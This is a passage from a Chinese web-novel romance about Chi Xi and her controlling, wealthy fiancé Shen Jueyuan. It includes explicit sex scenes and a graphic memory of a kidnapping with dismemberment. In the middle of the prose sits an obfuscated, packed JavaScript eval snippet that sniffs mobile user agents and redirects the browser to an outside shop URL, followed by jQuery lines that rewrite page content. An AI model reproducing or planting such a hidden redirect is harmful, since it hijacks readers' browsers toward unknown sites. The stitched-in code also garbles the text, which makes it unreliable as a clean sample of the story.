虽然没有提起过沈司桥,但池溪知道,郑伯母不肯断了和她的联系就是想从她这里打听沈司桥的近况。 只可惜,就算是和沈决远住在一起的她,也无法打听到关于沈司桥的事情。 郑伯母询问她在那边过的怎么样,留学生活还习惯吗。 池溪是个报喜不报忧的人,即使不习惯她也会说习惯。 郑伯母松了口气:“那就好,我还担心你在那边语言不通,吃不惯那里的食物。” 语言的确有些不通,但沈决远给她安排了一个随身的翻译,甚至还专门请了语言老师定期上门给她上课辅导。 至于食物。 池溪看了一眼桌上那些按照她的口味做的午餐。 “语言现在正在努力学习,食物也都吃得惯的。” “这样我就放心了。”郑伯母顿了顿,话里带着叹气声,“你爸爸和周阿姨离婚的事情想必你也知道了,他们....” “什么?”池溪愣住,她不知道.“怎么会...离婚,太突然了。” 看她这个反应显然是不知道。 不过也是,上次宴会上,她听有望提起,他被警告过,不准再联系池溪。 虽然没说是被谁警告的,但能说出这些话来的,恐怕也只有自己那个继子。 他们都是受害者。 郑娴无数次埋怨自己的丈夫,为什么当初要将他叫回国。 是,公司的确在他的治理下起死回生了。而他也遵守约定,卸任了董事长的职位。 下午沈决远回来,见她魂不守舍,脱了外套在她身旁坐下,左手无比自然地搭放在她的腿上:“怎么了,和同学产生矛盾了?” 池溪摇了摇头,并没有注意到那只正在揉捏她大腿的手:“我..我爸爸和他妻子离婚了。” 原来是因为这件事。 “你现在连你父亲的家事都开始关心了?” 这句轻描淡写的反问点醒了池溪,对啊,这是她父亲的家事,和她有什么关系。 “我不是关心他,我只是觉得....”她不否认在听到郑伯母说出这件事的时候,她心底的情绪五味杂陈,但绝对不是心疼,“他当初抛弃了我妈妈,现在也被别人抛弃了。我只是在想,他在那个瞬间是不是也能够感受到我妈妈的痛苦。” 男人抱住她,她的脸紧贴他收束妥帖的领带,可以感受到他结实胸膛下的心跳起伏。 一如他这个人平时所展现的那一面。 平淡,从容,波澜不惊。 “因果循环。漫画里不是经常出现这句话吗。”他语气虽然平稳,但安慰人的话却很有力量,“在他抛弃你们的那天,他就该想到自己会有同样的遭遇。你不必指望这样的男人会后悔。你更应该担心,当他走投无路,他最先想起的是能够拉他一把的人。他肯定会来找你,因为你身后站着的是我。” 他三言两语就将她父亲之后的打算轻飘飘地说出来。 池溪立刻抓住另一个重点。 他居然还看漫画。 是正经漫画吗。 她看的ntr漫画里总是出现这句话,女主的丈夫出轨,最后女主被样貌身材远超她丈夫的极品男人勾引。 对方在亲眼目睹她丈夫与出轨对象亲昵时,‘善意’地拍下照片发给她。 至此,女主发现自己那个老实人丈夫丑陋的一面,痛苦之际,男主敲开她的房门,递给她自己亲手煮的参汤。 女主面对这个撞见自己家庭丑闻的上司感到局促。 这个事不关己高高挂起的男人,居然也有如此路见不平的时候。 她为那件事道谢:“参汤就不用了,我...没胃口。” 男人轻声安抚:“身体要紧,你看上去很憔悴。” 是吗,这么明显吗。她已经一周没有睡过一个好觉了。 丈夫和她虽然是相亲结婚,但二人结婚三年,早就有了日积月累的感情。最近她也在积极备孕,想要孕育出一条二人爱情的结晶。只可惜... 想到这里,女主潸然泪下。就连替男主倒茶的手都没拿稳,热水从杯中抖出,洒在她的手上。 还是男主,也就是这位好心的上司,急忙拉着她进了厨房,打开洗手池的开关后将她的手用流动的冷水冲洗。 “没必要为了一个背叛你的男人伤害自己。”男人站在她的身后,握着她被烫烧的右手。有质感的高定西装贴着她柔软的睡衣。她的确是因为这件事受了很大的打击,招待客人竟然连衣服都忘了换。 不仅忘记换衣服,连内衣都没穿。真丝的吊带睡衣,松松垮垮地挂在她的身上,手臂抬起时甚至能透过两侧看见若隐若现微隆起的弧度。 她终于忍不住,低头哭了起来。 男人心疼地从身后抱她,手放在她的腰上,体贴地温柔安抚:“因果循环。与其被他伤害,不如还给他。” “还给他?”她哭红的双眼充满不解地看向他,“怎么还。” 男人戴着一副银丝眼镜,斯文儒雅。一副坐怀不乱的君子相。 实则早就胀得生疼,生机勃发的等待着。 刚才从身后抱着她的时候,悄无声息地贴着蹭了好久。 “是他出轨在先。太太,您只有选择和他一样的方式,他才会体会到您现在的痛苦。” 他摘下眼镜,露出那双深情的桃花眼. 主动握着她的手,让她去感受自己的实力和本钱,“我不仅各方面都比您的丈夫优秀,最重要的是,我是处男。” 年上处男简直直戳池溪性癖,所以她看完之后立刻分享给了自己在论坛上的小迷妹。 而此刻,听到沈决远说出这个成语,她竟然生出片刻的怀疑。 这人该不会也在私下偷偷看ntr吧? 也说不准,毕竟漫画里那个斯文儒雅的上司就很像他。 其实她在看漫画的时候,脑子里想的也是他。 不仅气质像,那里的形状也很像。 夸张到像是婴儿的手臂伸了出来。 池溪放下了胡思乱想,不确定地问他:“那你...会帮他吗?” 他气定神闲地提醒:“他是你的父亲,不是我的。” 又将问题抛回来了。重要的不是他的决定,而是她的。 “就算我不想帮,倘若你想,在我面前哭一哭,撒个娇,我大概也会改变想法。”他感受到她的身体在发热,于是将室温调低。她最近的气血被他每天让厨房炖的各种烫和补剂养足了,终于不再像从前那样手脚发凉。 他的话里没有半点谄媚和讨好感,只有平淡的叙述。 他的确不需要这么对她。 但这种为她着想和考虑的态度,令池溪有种手脚被绑住的感觉。 ——绑在他的身上。 她完全不想离开了,甚至开始想,哪怕是死也在死在他的身上。 莫名想到了膏药猴。 ....算了,她讨厌这个。 “我不想。”她摇头说出自己的真实想法。她无法原谅一个抛弃她和妈妈的男人。 他不仅贪图富贵,并且没有一点男人该有的担当。以色侍人是最不可能长久了。 听到她的回答,沈决远露出一个满意的微笑:“很好,没有盲目善良。” 沈决远还有工作等着他去处理,他重新穿上外套起身,池溪看着他准备离去的高大背影。当他低头时,衬衫后领口露出若隐若现的抓痕。 她顿时想起昨天在树林里的那一幕。 脸不自觉的红了。 实在是...太疯狂了。 她当时真的感受到有三个物体了,除了他的迪奥之外,还有两个硬长的..... 极致的酸极致的胀让她发出的尖锐暴鸣。 她觉得自己要死了,清早的挪威带着凉意,可是她却浑身湿透。 她不安地回头看,以为他是另备了工具。 怎么可以... 只是一个她就觉得自己要被撑裂了。 但她只看到了他的迪奥。 别的什么也没有。可是身体的感觉却是真实的。 她分明感受到了,甚至他的离开后,她还感受到了那种thrusting 轮流接替,她几乎没有空着的时候。 所以到了最后她直接昏死过去。 在车外那头猎豹的注视下。 “那头豹子....它是自己离开的吗?” 原来是问这个。沈决远单手将腕表戴上:“它在外面等了很久,车子的震动越来越迅猛,可能是觉得里面有比它更可怕的捕猎者在,它就离开了。” “什...什么?” 沈决远弯腰给了她一个离别吻:“好好休息,消肿前我不会碰你。” 他走后,池溪窝坐进沙发里。 也就是说,在她昏死之后,他还继续了很久很久。 远比她想象的还要久。 她的脸涨红的厉害。 她的第一反应居然是...好可惜。 --- 沈决远走后,无事可做的池溪登入论坛,熟练地点开自己小迷妹的对话框。 二人一直保持着密切交流。池溪发现对方和自己的口味达到惊人的一致。 并且通过她偶尔错乱的语法,她断定他是一个文化程度不高,或者还在上学。 虽然对方说她已经成年。 她给对方发去一个压缩包。 【不爱处男年上的都没品:我把我最近看的漫画整理成了一个合集,里面的女主全部是你喜欢的可爱甜妹类型。】 对方回复消息总是很慢,这次也不例外,直到下午才回了一个谢谢。 池溪当然不会生气。好歹自己也是他的偶像,身为偶像气量不大点怎么行。 【VVE:谢谢。】 【不爱处男年上的都没品:我很好奇你的id为什么叫这个,方便告诉我原因吗?不方便也没关系。】 对方并没有避讳这一点。 【VVE:我名字的缩写。】 名字的缩写? 有V开头的姓吗?难道是发音是V? 魏文恩?王维尔?万伟儿? 好奇怪的名字。 【不爱处男年上的都没品:出于公平起见,我也可以告诉你我名字的缩写。cx.】 【VVE:嗯。】 【不爱处男年上的都没品:你不好奇我的全名吗?( ??? ?? )??】 【VVE:好奇。】 什么嘛,完全是为了迎合她的问题在回答。 【不爱处男年上的都没品:那你猜猜看,猜对了有奖???】 【VVE:池溪。】 池溪立刻坐了起来,后背因为惊吓迅速地冒出一层薄汗。 她飞快敲动手机:【你怎么知道的∑(O_O;)】 难不成他认识自己? 对方的消息很快就回了过来:你的邮箱字母是chixi。并且你自己说过,你五行缺水,所以名字里有很多水。chixi这个音,水最多的字只有这两个。 看完他的分析,池溪恍然大悟,心也放了下来。 看来她的学习成绩应该很好,毕竟思维清晰且有逻辑。 不过她以后不能在网上透露太多信息了,否则很容易会人肉出来。 她不能让她现实里的朋友发现她在干这行. 对面在沉默很久后,突然将其中一本截图出来:你很喜欢这本吗?你给我发过很多遍了. 池溪点开图片发现是那本职场ntr. 好吧,连她自己都没注意. 她开着玩笑:“当然喜欢,不仅喜欢,我还想亲自演一次。你不喜欢吗?” VVE:“还好。” 那就是不怎么喜欢了。 和她相处久了,池溪发现对方是一个很复杂的人.一开始她以为对方是男孩子,因此对他充满戒备。 后面又通过她和自己相同的品味认定她是一个同样缺乏家人的陪伴和父爱的女孩子,因为大部分性癖是偏暴力的□□和掌控欲强的年上爹系的女孩子,多少都符合这样的特征. 于是作为前辈的池溪经常给她分享自己认为好看的漫画,尤其是当了漫画编辑之后. 只不过,随着更加深入的沟通,她发现对方其实并没有这些癖好,甚至她连漫画都不一定会看。 不爱处男年上的都没品:如果你不喜欢这种,我下次给你分享点其他的. VVE:没关系,我喜欢. 不爱处男年上的都没品:真的喜欢吗?可你不想演。 这句话一出,对方可能是被她这种判断的方式弄得无语。 因为过了很久池溪才收到她的回复.在池溪打算删掉她的好友之前:我想演。 这种完全迎合她的回答,让池溪对她生出疑惑.她觉得对方根本就不爱看漫画,甚至很有可能不是女生。 论坛里经常会潜入一些猥琐男,假装成女生寻找同好。 第一天聊漫画聊原生家庭聊人生哲学,第二天就发来一张怼着镜头拍的勾八图。 池溪虽然没有直接删除对方,但是对她充满警惕地不再理会。 持续了一整天的好心情因为那通来自国内的电话被彻底打断.沈决远说的果然没错,父亲在走投无路的时候,最终想到的只有她。 他比她想象中还要落魄,所有资产都被查收,可能还需要面对牢狱之灾。他的那些儿女倒是没有完全不管他,但是有了周老先生的授意,这段时间根本不敢和他接触。 为了不影响周家的产业和股市,现在能做的就是和他完全切割。 他入赘周家后,不仅孩子姓周,连他也改姓为周。 “我没办法了,小溪,爸爸真的没有办法了.如果连你也不帮爸爸,爸爸真的只有去死了。”他的声音颓败憔悴,仿佛只剩下最后一口气在支撑着他. 他太了解自己这个女儿了,和他一样胆小怕事。 却又和她妈妈一样心软。 他用自己的性命来道德绑架她,无疑是给她套上了最沉重的一道枷锁。 沈决远回来的时候,池溪一个人坐在沙发上发呆,裤子和毛衣领口都湿了,眼睛也无比红肿. 他看了一眼旁边的佣人,对方告诉他:“coco小姐中午接到一通电话之后就变成了这样。” 他心中大概有数,但还是确认了一遍:“知道是谁打来的吗?” “好像是她的父亲。” 果然。 那个人还是死了之后更加讨喜。 他就知道对方不可能会放弃。 他有办法阻止对方的电话打进来,但他并没有选择直接这么做。 倘若真的发生了什么,池溪大概率是会怪罪他的.她很重视家人,虽然嘴上不说,但他能看出来,她做不到心狠地放弃她那个抛弃她的父亲。 不过他不怪她,人是因为七情六欲才会变得丰富多彩。如果她不善良,那她就不是她了。 “他用死亡来威胁你了?”沈决远简单扼要地问了出来. 池溪愣住:“你怎么知道?” “能够猜到,“他说,在她身边坐下来,“你想帮他。” 连这个都猜中了。 池溪心里生出一种被全部看穿的恐惧. 沈决远无奈地笑了:“不是我看穿你,是你的心思很好被看穿.你的确可以帮他这一次,但你要知道,人的胃口一旦被喂饱,很难回到原本的大小。” 当他发现自己求遍所有人都办不到的事情,自己的女儿只要求一求她身边那位位高权重的男人就能轻松办到时,他的索取会变成持续性。 不断的通过死亡威胁,到了那个时候,她能保证自己不会再一次心软? 池溪认为沈决远的话很有道理,可是她只要想到父亲说她不帮他他就去死这种话,她就觉得一种寒意传遍全身。 她接受不了一个人因为自己去死,更何况那个人是她的父亲。这太可怕了。 沈决远知道那个人无耻,但没想到会这么无耻。好歹是他的女儿。 他会用这种方式去逼迫他的其他孩子吗? 显然不会,不仅是他不想,就算他想,他的其他子女都不及池溪的一半心软. 好比她的母亲,当初如果足够心狠,抱着孩子上门,她父亲次日就会被周家扫地出门. “我们地位悬殊,你独身一人陪我回了北欧.倘若你父亲真的爱你,他比起自己应该更加担心你的处境.担心我们的关系破裂,担心我不再爱你,担心我会抛弃你.”他语气温和从容,从另一个角度告诉她,她的父亲并不爱她,一点点的爱都没有。 真相虽然残忍,但直面真相,并且接受真相,是成年人必须要面对的。 他可以在其他地方保护她,这种事情却需要她自己来想通。他唯一能做的就是慢慢引导她走向正确的道路,以及在她做出错误选择时为她兜底。 “他不仅不担心,甚至企图通过消耗我对你的感情来达成他的目的。如果我是司桥那样的人呢。” “沈司桥.....” 他声音稳重:“司桥对待感情三分钟热度,你应该知道。” 这个她倒是不太知道.不过现在知道了。 “我.....”她抿了抿唇,神色纠结.她并不想帮她爸。如果帮他,那等同于自己背叛了妈妈。 可是她担心他真的会去死,人在拥有名利和财富之后,突然之间化为乌有,是真的会绝望崩溃。 父亲将这种崩溃架在了她的肩上,让她来承担。如果他真的死了,就算和她无关,她也会一直生活在这种阴影之中。 “我知道你的担忧。”沈决远轻轻转动无名指上那枚戒指,“你问吧。” “问什么?”池溪一脸茫然. “问我愿不愿意帮你的父亲。” 虽然不知道他为什么要这么说,但池溪还是老实照做。 他立刻拒绝了她:“我不愿意,池溪。我不想做这种没有任何利益回报的事情。” 他气定神闲地抱住她:“好了,现在责任转接到了我的身上,就算你的父亲真的死了,也是因为我的拒绝导致。和你无关,你已经力所能及地帮了他。” 不知道为什么,明明这个怀抱她已经感受过无数次,但这一次她却很想哭。 自从妈妈去世后,再也没有人像她那样为自己着想.这样的关心,她已经多久没有感受到了. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204439|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈妈....”她靠在他的怀里突然悲从中来,她突然很想妈妈。 很想很想,非常非常非常想.以至于情不自禁地叫了出来。妈妈离开她的时间马上就要超过陪伴她的时间了。 她如果还活着,并且知道爸爸用自己的死亡来逼迫池溪,她一定会冲到他的面前拼命扇他的耳光,大骂他还是不是一个男人,做出了抛弃自己妻女的事情,现在还要逼迫自己的女儿。 妈妈肯定会这么做的,妈妈很爱她。 “妈妈...”她想要藏住眼泪,将脸埋进沈决远的怀里,再次喊了一声. 片刻后,安静的男人轻轻抬手,抚摸她的后背. “嗯。”他居然应了一声。 在那一刻,池溪产生了一种错觉. 除了缺失的父爱之外,她居然还从他身上感受到了熟悉的母爱。 那是一种和父爱不同,更加细腻无声的爱,像温暖的流水,像晚间的微风,像清晨的薄雾。 她终于忍受不住,抱着他崩溃大哭了起来。 像是在宣泄自己这些年来独自承受的所有委屈,以及对母亲的思念。 她讨厌父亲,非常非常讨厌。 哭累了之后,她最后是靠在沈决远的怀里睡着的。 像是回到了婴儿时期,妈妈总是笑着调侃她贪睡,小的时候吃母乳时也是,吃到一半就趴在她的怀里睡着了。 现在也是,她趴在沈决远的怀里睡得很熟.甚至还保留着婴儿时期的习惯,一只手抓着. 沈决远没什么困意,陪她睡了一会儿之后就让佣人去书房拿了一本书过来. 一个半小时后,书看了一半,心理医生给他打来电话,沈决远调小音量后按下接通。 对方说他的病情有了很大的恢复,这简直就像是医学奇迹一样。 毕竟前十几年他一直按时接受心理治疗,都不见半点起色。甚至他母亲去世,他也无法感知到悲伤的情绪。 葬礼上,他没有落下一滴眼泪,甚至还找来律师按照她的遗嘱清点了遗产。 池溪其实在他电话铃响后不久就醒了,但她舍不得从他的大奶离开,就继续假寐了一会儿,结果恰好听到他和心理医生的对话。 心理疾病? 又是一个只有男主才会得的病。 该不会他也有一段阴暗的原生家庭吧?那也太俗套了。 她在心里小声吐槽。 以她阅漫无数的经验来看,这种时候就应该出现一个小太阳女主来拯救她。 嗯....她好像和太阳不太贴,比起太阳她更像月亮。 都是黄的。 电话挂断之后,池溪装作刚刚才醒的样子,问他:“刚才是谁的电话?” 他显然不打算瞒她:“心理医生。” “心理医生?” 他放下手里的书,低头看了眼自己的胸口,衬衫的扣子早就被她在睡梦中给蹭开了。此刻半敞,被她的脸压至微微凹陷:“嗯,他说我的病情有了很大的好转。” “病情?” 这宛如复读机一般的提问让沈决远微微扶额:“普通的心理疾病。” 她一下子就坐起来:“什么疾病?” 沈决远满意地看着她现在的反应,看来她的记忆的确回来了很大一部分。她对他已经不再全是恐惧。 都开始关心他了。 他知道她在装睡,并没有拆穿,接通的时候食指轻按加音键. 说起那件事,其实已经过去很久。如果让他再次看到那些被肢解剁碎的人体组织,他可以可以保持近乎冷血绝情的冷漠. 但他没办法去苛责当时只有八岁的自己胆子太小,被同一个场景折磨至今. 因为保镖来得太晚,从私立贵族学校离开的沈决远想独自去附近的足球场踢会儿足球。 结果被预谋很久的绑匪绑走。 他们知道他的身份,不敢对他做什么——譬如砍下他的手指拿去恐吓他的家人,从而索取更多的赎金。 他们是要钱,不是想死. valerius,当时那位最伟大的统治者就是这个姓氏。 他被单独关起来,可是那扇和栅栏一般的门可以让他无比清晰地看见此刻外面正在发生着什么。 关押他的地方是一个巨大的仓库,不过比起仓库,更像是一个血腥的屠宰场。 那些和他一样被绑来,但被家人放弃的学生,以及赌博欠了赌场钱的,还有一些不清楚是什么原因。 他们像案板上的鱼一样被去鳞挑刺清除内脏。 那种剁肉劈骨声持续了很久。 当时最高指挥派出最高级别的救援,十几架武装直升机进行空中搜寻,红外线热成相全面覆盖,除了军方的特种部队.还有他家里的私人武装。 整个城市的上空都是直升机的轰鸣声,山谷仿佛也因此而撼动。 距离收到歹徒寄出去的信到成功救援,甚至只花费了短短十五分钟时间。 但在此之前,沈决远看着那样的场景,足足三个小时。 他被救出去的时候,一言不发,瞳孔扩散,呈惊恐状。 最后那伙作案团体被连锅端了,但幕后主使没有被揪出来.因为牵扯太多。 valerius夫人的信仰让她善良,毕竟自己的幼子没有受伤,不需要把事情做的太绝。 虽然那件事之后,有半年时间沈决远都无法正常开口说话,看到生肉会反射性呕吐.牛排也只能吃全熟. 母亲斥责他没用,这种胆量做不了valerius家族的继承人. 八岁的沈决远逐渐变得无动于衷,他没有因为这些斥责而难过或是自省。 他是从那个时候开始意识到,自己感知不到正常人的情感. 很多时候,情感是人类不可或缺的东西.至少他在十五岁之前一直想要治好它. 十五岁是个分水岭,十六岁的他过早成熟,开始发育的不止他的身体,还有他的身材。 一米八六的身高,出众的外形,强大的体魄和气场,让无数人认为他早已成年。 比同学女生送的情书更多是外出时收到的房卡,这是一种直白的做-爱邀请。 十六岁开始炒股,接触博-彩行业,建立自己的第一个赌场。 半年后在华尔街拥有自己的第一栋大楼。 十七岁将所有人都不看好的腊明普港买了下来,在那里修建跨海港口和深海货运通道。 不过两年时间,那里就成为了必经枢纽和中转站。 除了他有着惊人的远见和布局之外,他同时也具备着别人没有的能力. 再贫瘠的土地,他也能让它长出钱来。什么地方有发展前景,不是由趋势来决定,而是由他定下趋势。 那里的自贸区政策早就落实,以往的荒岛现在变成了最富饶的小国之一. 他逐渐觉得感知不到情感反而是一件好事,他可以更理性地让所有事情为了自己的利益让路,他不会因为那些因他而破产的企业家的眼泪而心软。 他更加不会因为那些人像整袋的咖啡豆洒落般,从他的集团大楼往下跳而心软。 他的法务部有个部门专门用来处理这些因为自杀导致的‘流言'' 有些时候,企业名声同样重要。这会影响到股市的浮动。 他和池溪不同,不会因为这些事情愧疚。 做生意有赚有赔。如果哪天他也破产了,他想的绝不会是自杀,而是选择从头洗牌,将一切连本带利抢回来。 不过就是碾压后重建罢了。 是那些人心理脆弱,和他有什么关系。他是通过合法商战得来的战果。 所以沈决远早就放弃了继续这种永远没有起色的治疗。 心理医生却劝他:“那样你会失去最浪漫的感受,你无法体验真正爱上一个人是什么感觉。” 他气定神闲:“我如果想□□,只要拉开裤子就有无数女人涌上来。” 心理医生摇头:“爱和性不同,当你真的爱一个人的时候,比起占有她,你会更想成全她。” 成全? 听上去更蠢了。 在面对池溪疑惑的眼神时,沈决远选择跳开这个话题,他不希望自己曾经有过的‘脆弱’一面被她发现。 姑且认定为这是男人的一种可悲自尊心。他希望自己在她面前永远是完美的。 看来他的底色也是庸俗的。从小接受的继承人教育没有让他摆脱虚荣。 八岁时的那段经历,突然成为了他的‘人生污点’ 他要将它藏好。 “对了。”他不动声色地转移话题,“你的入职申请已经办好了。虽然不是总公司,但发展前景很好。你先熟悉一下工作环境,如果觉得满意的话,毕业之后我可以直接安排你入职。” 她欲言又止:“这恐怕不太好,我读研就是靠你帮忙,如果连工作也..... 他打断她:“你在北城认识的那些同学,他们也是靠家人的托举才能走到这一步。你和他们相比,只是输在了起跑线。他们未来同样会按部就班地进入家族企业。” 他知道池溪其实心里想,但人怂,不敢主动开口。她的配得感太低了。 这当然不怪她,这是她从小的经历造就。自卑才会让一个人羞于表达出自己的真实想法。 “如果我连这点托举都做不到,我这个未婚夫未免太过失职。” “我很乐意看到你有野心,就算你踩着我往上爬,那也说明你已经有能力爬上我的肩膀了。” 38.第三十八章 第一次有人和自己说这些话,池溪早就将时刻谨记的杀猪盘抛到脑后。 他就像是爸爸和妈妈的结合体。 是她想象中的那种爸爸妈妈。 恢弘可靠的安全感,和细腻温柔的陪伴。 倘若没有那些高高在上的傲慢就好了。 池溪时常因为他这些变化胡思乱想,他好像对她很包容体贴,但他骨子里的傲慢却始终存在。它们就像骤雾,只在特定的时候出现。 每当她沉迷于这种感情时,他平静的审视和观察又让她清醒过来。 他永远站在另一个维度,轻而易举地将她看穿。 池溪想,自己什么时候心跳加速,什么时候意乱情迷,他早就看透了。 他甚至通过这些细节判断出她为因为什么而心动,因为什么而意乱情迷。 这又怎么不是一种傲慢。 掌控她感情的开关在他的手上。 去公司实习的第三天,池溪和新同事熟悉起来。 她总算明白为什么沈决远瞧不上沈伯父的产业了。 完全不是一个量级。 这里的可怕规模居然只是他名下集团的一条分线公司。 她的同事人均博士。 本科牛津,博士麻省理工,拿过全奖。 最重要的是人很年轻,家境优渥。 池溪在这里已经感知不到自卑了,毕竟人无法和完全没有可比性的人去比。 同部门的前辈布兰登,三十一岁,为人儒雅温和。偶尔还会说出几个美式幽默的笑话来。 甚至还会体贴地纠正她的发音,让担心和异国同事相处不好的池溪感觉到了没由来的轻松。 ceo今天亲临公司,整个公司上下宛如打了鸡血。就连布兰登也开始频繁整理自己的英式西装。 池溪是个新人合同工,所以并没什么人关注她的学历,也没人去猜疑她是否是关系户。 如果她想留在这家公司,等到了合适的时候,沈决远再随意找个由头为她转正。 池溪闷闷不乐地想,原来这种事情他可以办的无比妥帖。 他可以通过最简单的方式来让她避免被人议论是以什么方式入职与她学历不匹配的公司。 他可以做到但不代表他想这么做。 池溪的心里逐渐生出一种不满的淡淡戾气。 他对待自己不在意的人,优雅也会变得冰冷。他会绅士地提醒从宴会中偷溜出来和他搭话的女生注意保暖。 却不会在意已经站在寒风中许久的池溪。 他究竟为什么会突然对她这么好。 即使池溪记起来了一些他们曾经有过的亲密经历。但让她感到恐惧的是,这些亲密的经历为什么会发生?她一无所知,她的记忆里并不存在他们任何相爱的过程。 沈决远总是能迅速的从亲密中抽身,摇身一变重新成为那个傲慢冷淡的上位者。 但在处在那种亲密中时,他们又像是最合拍的爱人。 他们都去电梯旁的茶水间等着了,试图一睹老板尊容。 这里作为新上市的分公司,沈决远在这边待的时间其实并不长,北欧区的事物由执行副总裁全权负责。 亚洲区域的板块已经彻底打通,之后的事情不需要ceo亲自去处理。此刻的亲临无疑是一种讯号。 一种未来或许会将大部分的重心放在北欧大区上的讯号。 为了合群的池溪选择了一起看热闹。即使这个人她回家就能见到。 好吧....她其实自己也想看。 工作时的沈决远和日常时不太一样,无论是气场还是那种滔天的压迫感。 让人感到自己的渺小。这是一种无法逾越的局促,仿佛在他的面前,自己的生死都可以由他轻松掌控。 很可怕对吧。池溪却病态地痴迷这种可怕。 嗯...她觉得这种危险反而有种别样的性感。 这些上层社会的精英人士此刻虽然把持着自己的绅士与淑女风度,可还是在别人所看不见的地方暗自较劲,都想占据一个视野最佳的好位置。 池溪不知道被谁推搡了一把,险些摔倒的时候,身旁的男人及时扶住了她。 是布兰登。 “你还好吗,当心脚下。”周围有些喧闹,布兰登只能低下头,靠近她的耳边与她耳语几句提醒。 池溪被他后面那几句风趣幽默的提醒给逗笑。 几乎就是在这个瞬间,自动感应玻璃旋转门打开,他们翘首以盼等了这么久的主角终于登场。 池溪立刻注意到走在保镖后面的沈决远,他的身材甚至比走在前面负责开道的那两位雇佣兵退下来的保镖更加高大结实。 除了池溪之外,其他人显然也是一眼就注意到他。 即使他身后还跟着一众西装革履的核心团队。 沈决远为人挑剔,吹毛求疵,能够进入他核心管理层的人,都是千万里挑一的精英。 此刻却被衬的暗淡无光,毫无存在感。 或许是他的锋芒气场过于锐利了。以至于人的眼睛只能注意到最耀眼的那个。 而这位被所有人注视的ceo,却将视线淡淡地放在茶水间内,正在和其他男人有说有笑的亚洲女性。 直到走进那部专属电梯,他的视线仍旧牢固地放在她的身上。 像是一台锁定了目标的监控,眸色深邃。 电梯门合上,他的视线仍旧没有收回。 直到显示屏上的楼层开始变化,茶水间内的人终于不再保持那种局促的安静。 “他张了一双valerius家族特有的标志性深邃眼眸,看上去又危险又迷人。” “他刚才是在看我吗?好像的确是在看我,我确定我和他对视了好几秒。” “是吗,我感觉是在看我。也可以说是在看我胸前的十字架。毕竟他们家族都信奉天主。” 那些人之所以争论他究竟在看谁,当然不是在幻想那些偶像剧里一见钟情的戏码发生在自己身上。 他们需要的是一个可以在ceo面前刷脸的机会,这意味着未来他们的机会相对来说会更多一些。 能走到这里的,除了从小堆砌的眼界之外,同时还有超高的野心。以他们精彩的履历,可以去更好的集团就职,而不是这家刚起步的分公司。 不过他们心中比谁都清楚,良禽择木而栖。这里的发展前景宽的可怕。 晚上她下班回家,沈决远婉转地表达了自己的看法:“你对那个人的笑容会不会过于多了。” 他不是那种会默默吃醋,然后通过冷落让对方注意到的类型。 他会直接说出来。 池溪知道他在说布兰登。 “他是gay。” 听完她的话后,沈决远周到地告诫她:“永远不要相信一个男人的自我介绍。” 池溪懵懂地点了点头:“那你的也是吗?” 他分别给她和自己倒了两杯红酒,将其中一杯递给她:“我不会骗你。” 池溪说:“可你每次说马上结束,仍旧会继续好几个小时。” “.....”他喝了一口酒,“在床上说的那些话不算。” 她强调:“我们很少在床上。” 大部分时间都是在阳台。他似乎很喜欢这种刺激。明明看上去是个有教养有风度的绅士。 “和忄生有关的都不算,你可以理解为那是一种情趣。” 他身上穿着烟灰色的睡袍,脖颈和锁骨处的抓痕仍旧明显。以池溪的经验来看,没有一周的时间应该消不下去。 她突然想到他腰后的那个伤疤。 她不确定那里愈合了没有,她悄悄用指甲在那里画出了自己的名字。 当然不是中文名,毕竟笔画太多。 只有‘coco’这个字母。 她用的力道并不大,甚至还没有其他地方的抓痕深。现在估计已经愈合了。 可惜,她不敢告诉沈决远。 她真的很想知道他看到自己身上有她的签名时,会是什么表情。 那段时间沈决远在分公司几乎是满勤状态。 原本他的工作已经结束,可以好好休息一阵。这里的规模完全不需要他亲自坐镇。 按照他之前的习惯,每当手中的项目步入正轨后,他会给自己留一段时间的空档期,用来休息。 他最常去的是自己在瑞士的雪地庄园。少年时期他的时间规划被安排的很紧凑,除了基本的学习之外,他还需要学习马术、射击、帆船和各种乐器。 沈决远无论什么都是一学就会,他的人生就是一场没有失误的a+ 不过比起这些北欧贵族必须要学会的礼仪和技能之外,他钟爱的反而是一些死亡率高的极限运动。 十六岁登上珠峰,无数次纵横韦尔比耶的黑-道与野雪。当然也有出现意外的时候,骨折被送进医院。但他身体素质好到可怕,比普通人更快恢复。 哪怕后面开始创业,没有读书时期时间那么充裕,但他还是会抽出一些时间。 他还喜欢高空跳伞、深海自由潜和极地穿越。 他希望这些让人肾上腺素飙升的运动能让他波澜不惊的情绪产生一些变化。 可是再危险的运动,对他来说都像是一颗细小的石子投入进了广袤无边的大海中。 连涟漪都无法惊起。 沈决远没有朋友,他会短暂的和别人保持一段密切联系的关系,可一旦对方身上没有可以供他利用的地方,他就会毫不犹豫地划清界限。 这点池溪和他不同。所以她很容易就结识到朋友。不论是在就读的学校里,还是在公司。 她的手机最近响的很频繁,消息总是一条接着一条。 报社那边给沈决远打来电话,告知他有一则与他有关的新闻。 照片与文字内容通过邮件发送到他的电脑上。 沈决远看着池溪忘记拿走的手机,在点开邮件之前,先解锁了她的手机。 都是一些无关紧要的消息,他放心地将手机放下,恢复原状。然后才从容不迫地打开邮件。 标题很直白——valerius家族私生子女,继承瓦尔蒙特大酒店荣登世界财富排行榜前三十。 他轻轻滑动鼠标,镜片下的眼睛波澜不惊。平静淡漠,好像这个姓氏与他无关一样。 文字稿的下方,是几张照片。那位金发小男孩被保姆抱着,看年龄只有五岁左右。 外形方面,与沈决远有六分相似。除了他身上那部分被亚洲血统稀释后的北欧特征之外。 报社那边的总编辑还在等待他的答复。与valerius有关的新闻,在刊登之前都会提前交给当事人过目。 这也是为什么这么多年,在他亲手创下的那些辉煌伟业被陆续搬上各种国家级的新闻中时,却没有一张他的照片流出。 沈决远点燃雪茄,打火机的火光在只开了一盏壁灯的书房内燃起。 他在这抹微弱的火光之中淡声开口:“既然这是你们的专业领域,我一个外行自然无权干涉。” 